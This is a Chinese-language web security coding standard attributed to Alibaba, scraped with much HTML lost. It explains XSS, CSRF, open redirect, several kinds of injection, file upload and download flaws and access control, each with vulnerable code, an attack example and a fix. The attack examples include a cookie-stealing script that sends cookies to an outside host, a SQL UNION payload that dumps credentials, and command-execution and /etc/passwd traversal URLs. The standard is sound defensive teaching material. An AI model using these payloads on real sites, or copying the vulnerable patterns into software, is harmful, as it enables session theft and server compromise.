配色: 字号:
阿里巴巴集团web安全标准Ver1
2015-04-20 | 阅:  转:  |  分享 
  












<%

} 代码中这几个加粗的变量“rs.getInt("id")、rs.getString("pname")、rs.getString("pdesc")、rs.getString("ptype")”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。



PHP代码示例















攻击实例

如果“代码示例”中的代码,是alibaba.com上的一个web应用,恶意用户可以做以下攻击。

攻击流程:

添加产品时插入恶意脚本



攻击者发布产品后,等待用户来浏览产品列表页面。

一个用户浏览了页面

页面代码



页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。

将执行http://inbreak.net/a.js这个JS脚本。

脚本内容:

a=document.createElement("iframe");functionb(){e=escape(document.cookie);c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];document.body.appendChild(a);a.src=c.join();}setTimeout(''b()'',5000); 获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。



这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。

解决方案

HTML/XML页面输出规范:

在HTML/XML中显示“用户可控数据”前,应该进行htmlescape转义。

JAVA示例:

#escapeHTML($user.name)




所有HTML和XML中输出的数据,都应该做htmlescape转义。 escapeHTML函数参考esapi实现:

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java

PHP示例:

htmlentities($row["user.name"])


所有HTML和XML中输出的数据,都应该做htmlescape转义。 escapeHTML需要进行html转义应该按照以下列表进行转义

&-->&

<--><

>-->>

"-->"

''-->' 2,在javascript内容中输出的“用户可控数据”,需要做javascriptescape转义。

html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。

JAVA示例:





需要转义的字符包括

/-->\/

''-->\''

"-->\"

\-->\\ escapeJavaScript函数参考esapi实现:

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/JavaScriptCodec.java

3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。

示例(Fasttext框架):

安全过滤的代码,请参考“Fasttext框架”的富文本输出函数。

Fasttext源码:

http://svn.alibaba-inc.com/repos/ali_cn/commons/headquarters/trunk/commons/fasttext/

4,输出在url中的数据,做url安全输出。

一些html标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。

以下属性的值,如果是用户可控数据,需要做安全检查

''action'',''background'',''codebase'',''dynsrc'',''href'',''lowsrc'',''src'', 这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据”组成的,则必须满足以下条件:

1)以“http”开头

char[]uc=url.toCharArray();

if(uc[0]!=''h''||uc[1]!=''t''||uc[2]!=''t''||uc[3]!=''p''){

return"";

} 2)转义“用户可控数据”中的以下字符

<-->%3C

>-->%3E

"-->%22

''-->%27 举例使用:

链接



。。。 Surl函数参考fasttext框架中的实现:

http://svn.alibaba-inc.com/repos/ali_cn/commons/headquarters/trunk/commons/fasttext/src/java/com/alibaba/china/fasttext/codec/URLRebuilder.java

5,针对DOM跨站的解决方案,详见《javascript安全编码规范》,URL在

http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/JavaScript%E7%BC%96%E7%A0%81%E5%AE%89%E5%85%A8%E8%A7%84%E8%8C%83

6,在给用户设置认证COOKIE时,加入HTTPONLY,详见《Cookiehttponlyflag》章节。

7,在style内容中输出的“用户可控数据”,需要做CSSescape转义。

举例使用:

Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("input")); encodeForCSS实现代码参考:

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java



AJAX输出规范:

1、XML输出“用户可控数据”时,对数据部分做HTML转义。

示例:





#xmlEscape($name)

2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。

Stringcityname=”浙江”+StringUtil.htmlEscape(city.name)+””;

Stringjson=

"citys:{city:[''"+

StringUtil.javascript(cityname)+

"'']}"; 3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,response.setContentType("application/json");

PrintWriterout=response.getWriter();

out.println(StringUtil.htmlEscape(ajaxReturn)); FLASH

安全威胁

FLASH安全

利用flash服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户端的flash文件发起各种请求或者攻击客户端的页面。

FLASH的安全问题主要有服务端的安全设计问题和客户端的flash安全两块:

1、服务端的安全

由于没有正确的配置域策略文件,导致客户端的flash文件能够绕过同源策略的限制跨域获取数据。

2、客户端安全

客户端在嵌入flash文件的时候没有指定flash文件的客户端限制策略,导致嵌入在客户端的flash文件可以访问HTML页面的DOM数或者发起跨域请求。



恶意攻击者利用FLASH的安全问题可以:

1、绕过浏览器同源策略的限制发起跨域请求,比如发起CSRF攻击等。

2、直接更改页面的dom树,发起钓鱼或者跨站攻击。

代码示例

服务器端crossdomain.xml的错误配置:

这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。



客户端嵌入flash的错误配置:

例子中的allowscriptaccess选项为always,这样的配置会使flash对于html的通讯也就是执行javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本域的flash与html通讯,建议设置为never;例子中没有设置allowNetworking选项,需要把allowNetworking设置为none,因为allowNetworking在设置为all(默认是)或者是internal的情况下会存在发生csrfCSRF的风险,因为flash发起网络请求继承的是浏览器的会话,而且会带上sessioncookie和本地cookie。

攻击实例

1.引发XSS攻击:

在一个页面中嵌入flash的代码如下:



MyFlashMovie

















用户可以在同域下的某个地方上传一个flash文件

如果用户制作一个flash代码如下:

VarsecretUsername=“cnben”;

VarsecretPassword=“hello1234”;

outputBox.htmlText=“pleaseenterapassword”;

functioncheckpassword(){

outputBox.htmlText=“Youmustbeavaliduser.”;

}else{

outputBox.htmlText=usernameBox.text+”error”

}

}

FunctionserPassword(newPassword:String){

secretPassword=newPassword;

}

下面的请求将包含并执行一个存放在远程主机是哪个的javascript文件:

http://test.com/movie.swf?userParam=

2.发起CSRF攻击

如果allowNetworking选项没有做配置,默认为all,这种情况下,上传一个如下代码的swf文件,用户访问包含这个swf文件的额网页将发起一次CSRF攻击:

importflash.net.URLRequest;importflash.system.Security;varurl=newURLRequest("提交的目标地址");varParam=newURLVariables();Param="参数";url.method="POST";url.data=Param;sendToURL(url);stop();

解决方案

Flash配置规范:

1、Crossdomain.xml的安全配置:

如果没有flash应用,去掉crossdomian.xml文件,对有flash应用域的根目录下需要配置crossdomain.xml策略文件,设置为只允许来自特定域的请求,比如淘宝的配置文件如下:































不允许添加,这样会导致客户端可能自己加载自定义策略文件。

2、客户端嵌入flash文件的安全配置:

1)禁止设置flash的allowscriptaccess为always,必须设置为never,如果设置为SameDomain,需要客户可以上传的flash文件要在单独的一个域下。

2)设置allowNetworking选项为none。

3)设置allowfullscreen选项为false。

如下配置:

flash开发规范:

移除敏感信息

确认没有包含像用户名、密码、SQL查询或者其他认证信息在swf文件里面,因为swf文件能够被简单的反编译而使信息泄露

客户端的验证



去除调试信息

trace”和其他一些调试语句,因为他们能够暴露代码或数据的功能,如下代码片段暴露了该段代码的验证功能:



参数传入

如果有加载外部数据的需求,尽量不要在html中用“params”标签或者是querystring这种形式来注入数据到swf文件中。可以的办法是通过sever端的一个http请求来得到参数。

allowDomain()

flash文件如果有和其他swf文件通信的需求,需要在swf中配置allowDomain()为制定的来源,禁止用符号来允许任意来源

如下AS代码被严格禁止:



ActionScript2.0未初始化全局变量

AS2.0中接受用户通过FlashVars和Querystring中传入的数据并放到全局变量空间中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下AS代码片段所示:



如果用户在GET请求或者在HTML中作为一个对象参数将userLoggedIn设为true,如下所示:



?????????解决方案:AS2.0使用_resolve属性捕获未定义的变量或函数,如下所示:

???????????????????????????

当FLASH加载调用外部文件的时候需要过滤掉里面的恶意内容,

主要有metadata里面的数据和flashmp3player里的Mp3ID3Data,可以引发XSS漏洞(使攻击者可以执行任意javascript),如下代码片段所示:



test.flv中包含了js代码将被执行;



禁止直接调用ExternalInterface.call来接受外部参数

ExternalInterface.call可以直接调用客户端的js脚本,如下as代码片段所示:



如果用户提交变量eval,提交参数为任意js语句,那么用户提交的代码就会被执行。

Third-partyscriptreferences

安全威胁

Third-partyscriptreferences”http://www.hacker.com/trojan.js”> 这段代码会执行www.hacker.com网站下的trojan.js脚本。

下面是一段引用第三方网站iframe的代码:

这段代码会同时打开http://www.hacker.com/trojan.htm这个页面。

攻击方法

如果“代码示例”中的代码,是alibaba.com上的一个web页面,恶意用户可以做以下攻击。

恶意用户会先入侵www.hacker.com这个网站,之后将恶意代码加入

http://www.hacker.com/trojan.js

当这个文件有恶意代码时,也会被展示在阿里巴巴的web页面上。

解决方案

禁止引用第三方脚本,禁止iframe引用第三方页面。



伪装

Cross-SiteRequestForgery

安全威胁

Cross-SiteRequestForgery(CSRF),跨站请求伪造攻击。

攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用程序发送一个改变用户信息的请求。

由于发生CSRF攻击后,攻击者是强迫用户向服务器发送请求,所以会造成用户信息被迫修改,更严重者引发蠕虫攻击。

CSRF攻击可以从站外和站内发起。从站内发起CSRF攻击,需要利用网站本身的业务,比如“自定义头像”功能,恶意用户指定自己的头像URL是一个修改用户信息的链接,当其他已登录用户浏览恶意用户头像时,会自动向这个链接发送修改信息请求。

从站外发送请求,则需要恶意用户在自己的服务器上,放一个自动提交修改个人信息的htm页面,并把页面地址发给受害者用户,受害者用户打开时,会发起一个请求。

如果恶意用户能够知道网站管理后台某项功能的URL,就可以直接攻击管理员,强迫管理员执行恶意用户定义的操作。

代码示例

一个没有CSRF安全防御的代码如下:



HttpServletRequestrequest,HttpServletResponseresponse){

intuserid=Integer.valueOf(request.getSession().getAttribute("userid").toString());

Stringemail=request.getParameter("email");

Stringtel=request.getParameter("tel");

Stringrealname=request.getParameter("realname");

Object[]params=newObject[4];

params[0]=email;

params[1]=tel;

params[2]=realname;

params[3]=userid;

finalStringsql="updateusersetemail=?,tel=?,realname=?whereuserid=?";

conn.execUpdate(sql,params);

PHP示例代码:

$userid=$_SESSION["userid"];

$email=$_REQUEST["email"];

$tel=$_REQUEST["tel"];

$realname=$_REQUEST["realname"];

$params=array();

$params[0]=$email;

$params[1]=$tel;

$params[2]=$realname;

$params[3]=$userid;

$sql="updateusersetemail=?,tel=?,realname=?whereuserid=?";

execUpdate($sql,$params);

代码中接收用户提交的参数“email,tel,realname”,之后修改了该用户的数据,一旦接收到一个用户发来的请求,就执行修改操作。

提交表单代码:













当用户点提交时,就会触发修改操作。

攻击实例

本例子是一个站外发起CSRF攻击例子。

如果“代码示例”中的代码,是alibaba.com上的一个web应用,那么恶意用户为了攻击alibaba.com的登录用户,可以构造2个HTML页面。

页面a.htm中,iframe一下b.htm,把宽和高都设为0。

这是为了当攻击发生时,受害用户看不到提交成功结果页面。

页面b.htm中,有一个表单,和一段脚本,脚本的作用是,当页面加载时,自动提交这个表单。















攻击者只要把页面a.htm放在自己的web服务器上,并发送给登录用户即可。



用户打开a.htm后,会自动提交表单,发送给alibaba.com下的那个存在CSRF漏洞的web应用,所以用户的信息,就被迫修改了。

在整个攻击过程中,受害者用户仅仅看到了一个空白页面(可以伪造成其他无关页面),并且一直不知道自己的信息已经被修改了。



解决方案

要防御CSRF攻击,必须遵循一下三步:

在用户登陆时,设置一个CSRF的随机TOKEN,同时种植在用户的cookie中,当用户浏览器关闭、或用户再次登录、或退出时,清除token。

在表单中,生成一个隐藏域,它的值就是COOKIE中随机TOKEN。

表单被提交后,就可以在接收用户请求的web应用中,判断表单中的TOKEN值是否和用户COOKIE中的TOKEN值一致,如果不一致或没有这个值,就判断为CSRF攻击,同时记录攻击日志(日志内容见“ErrorHandingandLogging”章节)。

由于攻击者无法预测每一个用户登录时生成的那个随机TOKEN值,所以无法伪造这个参数。

示例:

1

2 $csrfToken.hiddenField

3 ...

4 代码中$csrfToken.hiddenField将会生成一个隐藏域,用于生成验证token,它将会作为表单的其中一个参数一起提交。

建议使用CSRF防御框架,覆盖所有web应用,示例参考《中文站CSRF攻击防御方案》,该方案适用于java项目。



注意:

当出现GET请求修改用户数据时,一旦在url中出现了csrftoken,当前页面就不允许出现用户定义的站外链接,否则攻击者可以引诱用户点击攻击者定义的链接,访问在自己的网站,从referer中,获取url中的csrftoken,造成csrftoken泄露。



常见问题

1、为什么不直接验证referer?

网站内部,也可以发出的CSRF攻击。

2、如果先发生xss攻击,攻击者可以拿到用户页面的token怎么办?

CSRF防御,是建立在XSS防御之后的防御。如果已经出现了XSS漏洞,攻击者就可以拿到用户页面中的所有信息,CSRF防御会失去效果,必须做好XSS防范。

所有表单都会受到CSRF漏洞影响么?

所有修改用户个人信息的请求,都会受到CSRF漏洞影响。如果一个表单功能只是查询,不会修改任何数据,就不会受到CSRF漏洞影响。

URLredirect

安全威胁

URLredirect,URL跳转攻击。

Web应用程序接收到用户提交的URL参数后,没有对参数做“可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。

如果alibaba.com下的某个web应用程序存在这个漏洞,恶意攻击者可以发送给用户一个alibaba.com的链接,但是用户打开后,却来到钓鱼网站页面,将会导致用户被钓鱼攻击,账号被盗,或账号相关财产被盗。

代码示例

这是一段没有验证目的地址,就直接跳转的经典代码:

if(checklogin(request)){

response.sendRedirect(request.getParameter("url"));

} 这段代码存在URL跳转漏洞,当用户登陆成功后,会跳转到url参数所指向的地址。

攻击方法

一个正常的流程如下:

1)买家用户发送一个商品连接给商家用户。

2)商家用户打开连接,跳转到登陆页面。

3)商家用户登陆,之后自动跳转到登录前的商品页面。

攻击演示:

如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。

1)攻击者可以发送

http://china.alibaba.com/member/sigin.htm?done=http://www.hacker.com:8080/ali/sigin.htm

诱惑用户打开。



2)用户打开页面。



显示需要登陆,于是用户输入了账户和密码,登陆。

3)无论用户输入什么,都跳转到了恶意攻击者指定的钓鱼页面,这个页面显示给用户“会员登录名或密码错误”,注意URL中的链接地址。



4)用户看到“密码错误”,就再次输入密码。

由于用户现在看到的页面,其实是恶意攻击者伪造的钓鱼程序,而用户却以为这些操作都是在alibaba网站上做的,所以用户在钓鱼程序中输入了密码。



解决方案

为了保证用户所点击的URL,是从web应用程序中生成的URL,所以要做TOKEN验证。

1、当用户访问需要生成跳转URL的页面时,首先生成随机token,并放入cookie。

2、在显示连接的页面上生成URL,在URL参数中加入token。

示例:

http://china.alibaba.com/member/sigin.htm?done=http://www.alibaba.com&token=5743892783432432 应用程序在跳转前,判断token是否和cookie中的token一致,如果不一致,就判定为URL跳转攻击,并记录日志(日志内容见“ErrorHandingandLogging”章节)。

如果在javascript中做页面跳转,需要判断域名白名单后,才能跳转。

如果应用只有跳转到阿里巴巴集团网站的需求,可以设置白名单,判断目的地址是否在白名单列表中,如果不在列表中,就判定为URL跳转攻击,并记录日志(日志内容见“ErrorHandingandLogging”章节)。不允许配置集团以外网站到白名单列表中。

这两个方案都可以保证所有在应用中发出的重定向地址,都是可信任的地址。

注入

SQLinjection

安全威胁

SQLinjection,SQL注入攻击。

当应用程序将用户输入的内容,拼接到SQL语句中,一起提交给数据库执行时,就会产生SQL注入威胁。

由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。

本来SQL注入攻击需要攻击者对SQL语句非常了解,所以对攻击者的技术有一定要求。但是几年前,已经出现了大量SQL注入利用工具,可以让任何攻击者,只要点几下鼠标,就能达到攻击效果,这使得SQL注入的威胁,极大增加。



代码示例

只要支持JDBC查询,并且开发人员使用了语句拼接,都会产生这种漏洞。

Java(jdbc)示例:

HttpServletRequestrequest,HttpServletResponseresponse){

JdbcConnectionconn=newJdbcConnection();

finalStringsql="selectfromproductwherepnamelike''%"

+request.getParameter("pname")+"%''";

conn.execqueryResultSet(sql);

Java(ibatis)示例



selectfromtablewherenamelike''%$value$%''



UnSafeBeanb=(UnSafeBean)sqlMap.queryForObject("value",request.getParameter("name"));

PHP示例:

$sql="selectfromproductwherepnamelike''%"

.$_REQUEST["pname"]."%''";

mysqli_query($link,$sql);

这里把用户输入的pname拼接到SQL语句中。

攻击实例

如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。

源数据查询地址是:



当攻击者注入自己定义的语句时,访问URL为:

http://localhost:8080/struts1/listProduct.htm?pname=e''and1=2unionselect1,name,pass,4fromuserwhere''''<>'' 这时,数据库执行的语句为

selectfromproductwherepnamelike''%e''and1=2unionselect1,name,pass,4fromuserwhere''''<>''%'' 加粗部分为用户输入的pname的值。

于是执行了关联查询,显示出了user表中的name和pass的字段。



攻击者可以利用这种方法,执行任意SQL语句。

解决方案

使用预处理执行SQL语句,对所有传入SQL语句中的变量,做绑定。这样,用户拼接进来的变量,无论内容是什么,都会被当做替代符号“?”所替代的值,数据库也不会把恶意用户拼接进来的数据,当做部分SQL语句去解析。

Javaodbc示例:

com.mysql.jdbc.Connectionconn=db.JdbcConnection.getConn();

finalStringsql="selectfromproductwherepnamelike?";

java.sql.PreparedStatementps=(java.sql.PreparedStatement)conn.prepareStatement(sql);

ps.setObject(1,"%"+request.getParameter("pname")+"%");

ResultSetrs=ps.executeQuery();

PHP示例:

$query="INSERTINTOmyCity(Name,CountryCode,District)VALUES(?,?,?)";

$stmt=$mysqli->prepare($query);

$stmt->bind_param("sss",$val1,$val2,$val3);

$val1=''Stuttgart'';

$val2=''DEU'';

$val3=''Baden-Wuerttemberg'';

/Executethestatement/

$stmt->execute(); 无论使用了哪个ORM框架,都会支持用户自定义拼接语句,经常有人误解Hibernate没有这个漏洞,其实Hibernate也支持用户执行JDBC查询,并且支持用户把变量拼接到SQL语句中。

Codeinjection

安全威胁

Codeinjection,代码注入攻击

web应用代码中,允许接收用户输入一段代码,之后在web应用服务器上执行这段代码,并返回给用户。

由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。

代码示例

示例1--JAVA

servlet代码:

publicvoiddoGet(HttpServletRequestrequest,HttpServletResponseresponse)

throwsServletException,IOException{

response.setContentType("text/html");

PrintWriterout=response.getWriter();

try{

Filefile=File.createTempFile("JavaRuntime",".java",newFile(

System.getProperty("user.dir")));

Stringfilename=file.getName();

Stringclassname=filename.substring(0,filename.length()-5);

String[]args=newString[]{"-d",

System.getProperty("user.dir"),filename};

PrintWriteroutfile=newPrintWriter(newFileOutputStream(file));



outfile.write("publicclass"+classname

+"{publicvoidmyfun(Stringargs)"+"{try{"

+request.getParameter("code")

+"}catch(Exceptione){}}}");

outfile.flush();

outfile.close();

(newMain()).compile(args,outfile);

URLurl=newURL("file://"

+file.getPath().substring(0,

file.getPath().lastIndexOf("\\")+1));

java.net.URLClassLoadermyloader=newURLClassLoader(

newURL[]{url},Thread.currentThread()

.getContextClassLoader());

Classcls=myloader.loadClass(classname);

cls.getMethod("myfun",newClass[]{String.class}).invoke(

cls.newInstance(),newObject[]{""});

}catch(Exceptionse){

se.printStackTrace();

}

out.println();

out.flush();

out.close();

}

PHP代码示例

eval($_REQUEST["kxlzx"]);



接收用户输入的code参数内容,编译为一个class文件,之后调用这个文件相关代码。

示例2--JAVA

一个三方工具包装好的eval调用:

importbsh.Interpreter;



Interpreteri=newInterpreter();

//这段代码将执行System.out.println("kxlzx");

i.eval("System.out.println("kxlzx");"); 一旦eval函数的参数是用户自定义的,将导致java代码注入威胁。

详细请参考http://www.beanshell.org/manual/embeddedmode.html

攻击实例

对于以上的示例1中的代码,用户可以构造如下URL攻击服务器:

http://www.alibaba.com/servlet/Active?code=System.out.println("kxlzx");

执行结果见下图



解决方案

执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”参数,代表相应代码。

XMLinjection

安全威胁

XMLinjection,XML注入安全攻击。

和SQL注入原理一样,XML是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致XML注入漏洞。攻击者可以修改XML数据格式,增加新的XML节点,对数据处理流程产生影响。

代码示例

这里是一个保存注册用户信息为xml的例子:

finalStringGUESTROLE="guest_role";

...

//userdata是准备保存的xml数据,接收了name和email两个用户提交来的数据。

Stringuserdata="
GUESTROLE+

">"+

request.getParameter("name")+

"
"+

request.getParameter("email")+

"
";

//保存xml

userDao.save(userdata);

代码没有做任何过滤。

攻击实例

原本注册用户后,应该产生一条这样的用户记录





user1



user1@a.com



但是当恶意用户输入自己的email时,输入了

user1@a.comkxlzxuser2@a.com 最终用户注册后,数据就变成了





user1



user1@a.com





kxlzx

user2@a.com





从数据结果看,增加了一条管理员“李四”。

解决方案

在XML保存和展示前,对数据部分,单独做xmlescape。

Stringuserdata="
GUESTROLE+

">"+

StringUtil.xmlencode(request.getParameter("name"))+

"
"+

StringUtil.xmlencode(rrequest.getParameter("email"))+

"
"; 按照以下列表做转义

&-->&

<--><

>-->>

"-->"

''-->'

Systemcommandinjection

安全威胁

Systemcommandinjection,系统命令注入攻击。

系统命令执行攻击,是指代码中有一段执行系统命令的代码,但是系统命令需要接收用户输入,恶意攻击者可以通过这个功能直接控制服务器。

代码示例



Runtime.getRuntime().exec(request.getParameter("cmd"));

PHP代码示例

exec($_REQUEST["cmd"]);





这段代码接收用户传递的cmd参数,执行系统命令。

攻击实例

以上代码攻击者可以输入

http://www.alibaba.com/servlet/command?cmd=shutdown 系统就会自动关机。

解决方案

所有需要执行的系统命令,必须是开发人员定义好的,不允许接收用户传来的参数,加入到系统命令中去。

常见问题

任何一个执行系统命令的代码,都必须经过安全工程师确认。

文件操作

Fileupload

名称定义

Fileupload,任意文件上传攻击。

Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,就把文件保存在服务器上,导致恶意用户可以上传任意文件,甚至上传脚本木马到web服务器上,直接控制web服务器。

代码示例

处理用户上传文件请求的代码,这段代码没有过滤文件扩展名。



PrintWriterpw=newPrintWriter(newBufferedWriter(newFileWriter(

request.getRealPath("/")+getFIlename(request))));

ServletInputStreamin=request.getInputStream();

inti=in.read();

while(i!=-1){

pw.print((char)i);

i=in.read();

}

pw.close();

PHP代码示例

file_put_contents($_REQUEST["filename"],$_REQUEST["context"]); 攻击实例

如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。

这段代码将直接把用户上传的文件,保存在web目录中,上传后,用户可以通过

http://www.alibaba.com/jspmuma.jsp 访问上传的JSP木马,控制服务器,下图为上传的木马:



即使jsp文件不会被web容器解析执行,攻击者也可以上传自定义的htm文件,造成XSS攻击。

解决方案

处理用户上传文件,要做以下检查:

检查上传文件扩展名白名单,不属于白名单内,不允许上传。

上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析jsp等脚本语言的目录。

上传文件要保存的文件名和目录名由系统根据时间生成,不允许用户自定义。

图片上传,要通过处理(缩略图、水印等),无异常后才能保存到服务器。

上传文件需要做日志记录,请参照“ErrorHandingandLogging章节”。

FiledownloadandDirectorytraversal

安全威胁

FiledownloadandDirectorytraversal,任意文件下载攻击和目录遍历攻击。

处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。

恶意用户会变换目录或文件地址,下载服务器上的敏感文件、数据库链接配置文件、网站源代码等。

代码示例

处理用户请求的代码



Stringpath=request.getParameter("path");

java.io.OutputStreamos=response.getOutputStream();

java.io.FileInputStreamfis=newjava.io.FileInputStream(path);

byte[]b=newbyte[1024];

inti=0;

while((i=fis.read(b))>0){

os.write(b,0,i);

}

fis.close();

os.flush();

os.close();

PHP代码示例

$o=file_get_contents($filename);

echo$o;



这段代码根据用户提交的path,从服务器上获取指定文件,展示给用户。

攻击实例

攻击者会变化参数中的文件名,下载服务器中的敏感文件,数据库配置文件等。

示例:

http://www.alibaba.com/filedownload.do?filename=/etc/passwd



解决方案

对文件操作功能,做到以下几点:

1,要下载的文件地址保存至数据库中。

2,文件路径保存至数据库,让用户提交文件对应ID下载文件。

3,下载文件之前做权限判断。

4,文件放在web无法直接访问的目录下。

5,记录文件下载日志(内容见日志章节)。

6,不允许提供目录遍历服务。

记录不符合规范的上传文件日志(日志内容请参考“ErrorHandingandLogging”章节)

访问控制

VerticalAccessControl

名称定义

VerticalAccessControl,垂直权限安全攻击,也就是权限提升攻击。

由于web应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升目的。

这个威胁可能导致普通用户变成管理员权限。

代码示例

一个仅仅做了菜单控制的代码:



<%if(power.indexOf("administrators")>-1){%>



<%}%>

攻击方法

恶意用户,可以直接猜测“管理所有用户”的页面,通过URL访问,看到管理员页面。

解决方案

在打开管理页面URL时,首先判断当前用户是否拥有该页面的权限,如果没有权限,就判定为“权限提升”攻击,同时记录安全日志(日志内容请参考“ErrorHandingandLogging”章节)。

建议使用成熟的权限框架处理权限问题,比如springsecurity。

HorizontalAccessControl

安全威胁

HorizontalAccessControl,访问控制攻击,也就是水平权限安全攻击。

Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数据所属人时,从用户提交的request参数(用户可控数据)中,获取了数据所属人id,导致恶意攻击者可以通过变换数据ID,或变换所属人id,修改不属于自己的数据。

恶意用户可以删除或修改其他人数据。

代码示例

访问数据层(dao),所有的更新语句操作,都可能产生这个漏洞。

以下代码存在这个漏洞,web应用在修改用户个人信息时,从从用户提交的request参数(用户可控数据)中,获取了userid,执行修改操作。

修改用户个人信息页面



">

































































集团web安全标准

ver

























































目的

本文档是为了让大家对各种web安全威胁的产生原因、常见攻击手段有更深入的了解,并且作为各种web安全威胁的修补方案标准,以便大家能够快速的定位漏洞代码和解除安全隐患。







目录

二零一零年 1

阿里巴巴(Alibaba.com) 1

目的 2

使用范围 2

适合读者 2

版本控制 2

分发控制 2

第一章页面展示 5

CrossSiteScript 5

安全威胁 6

代码示例 6

攻击实例 7

解决方案 8

FLASH 10

安全威胁 11

代码示例 11

攻击实例 11

解决方案 12

Third-partyscriptreferences 15

安全威胁 15

代码示例 15

攻击方法 16

解决方案 16

第二章伪装 16

Cross-SiteRequestForgery 16

安全威胁 16

代码示例 16

攻击实例 17

解决方案 18

常见问题 19

URLredirect 19

安全威胁 19

代码示例 19

攻击方法 19

解决方案 21

第三章注入 21

SQLinjection 21

安全威胁 22

代码示例 22

攻击实例 23

解决方案 23

Codeinjection 24

安全威胁 24

代码示例 24

攻击实例 25

解决方案 26

XMLinjection 26

安全威胁 26

代码示例 26

攻击实例 27

解决方案 27

Systemcommandinjection 28

安全威胁 28

代码示例 28

攻击实例 28

解决方案 28

常见问题 28

第四章文件操作 28

Fileupload 28

名称定义 28

代码示例 28

攻击实例 29

解决方案 29

FiledownloadandDirectorytraversal 30

安全威胁 30

代码示例 30

攻击实例 30

解决方案 31

第五章访问控制 31

VerticalAccessControl 31

名称定义 31

代码示例 31

攻击方法 32

解决方案 32

HorizontalAccessControl 32

安全威胁 32

代码示例 32

攻击实例 33

解决方案 34

常见问题 34

第六章Session 35

Cookiehttponlyflag 35

安全威胁 35

代码示例 35

攻击实例 35

解决方案 35

常见问题 35

CookieSecureflag 35

名称定义 36

代码示例 36

攻击方法 36

解决方案 36

SessionExpires 37

安全威胁 37

代码示例 37

攻击实例 37

解决方案 37

第七章密码算法安全 38

Insecure?Pseudorandomness 38

安全威胁 38

代码示例 38

攻击实例 39

解决方案 40

InsufficientEncryptionStrength 40

安全威胁 40

代码示例 40

攻击实例 41

解决方案 41

第八章错误处理与日志 42

ErrorHandling 42

安全威胁 42

代码示例 42

攻击实例 43

解决方案 43

Logging 44

记录日志 44

日志存储 44

日志字段 44

第九章Changelog 45

第十章相关链接 45





页面展示

CrossSiteScript

安全威胁

CrossSiteScript(XSS),跨站脚本攻击。

攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。

跨站脚本攻击有两种攻击形式

1、反射型跨站脚本攻击

攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。

2、存储型跨站脚本攻击

攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。

3、DOM跨站攻击

由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。

DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。



恶意攻击者可以利用跨站脚本攻击做到:

1、盗取用户cookie,伪造用户身份登录。

2、控制用户浏览器。

3、结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。

4、衍生URL跳转漏洞。

5、让官方网站出现钓鱼页面。

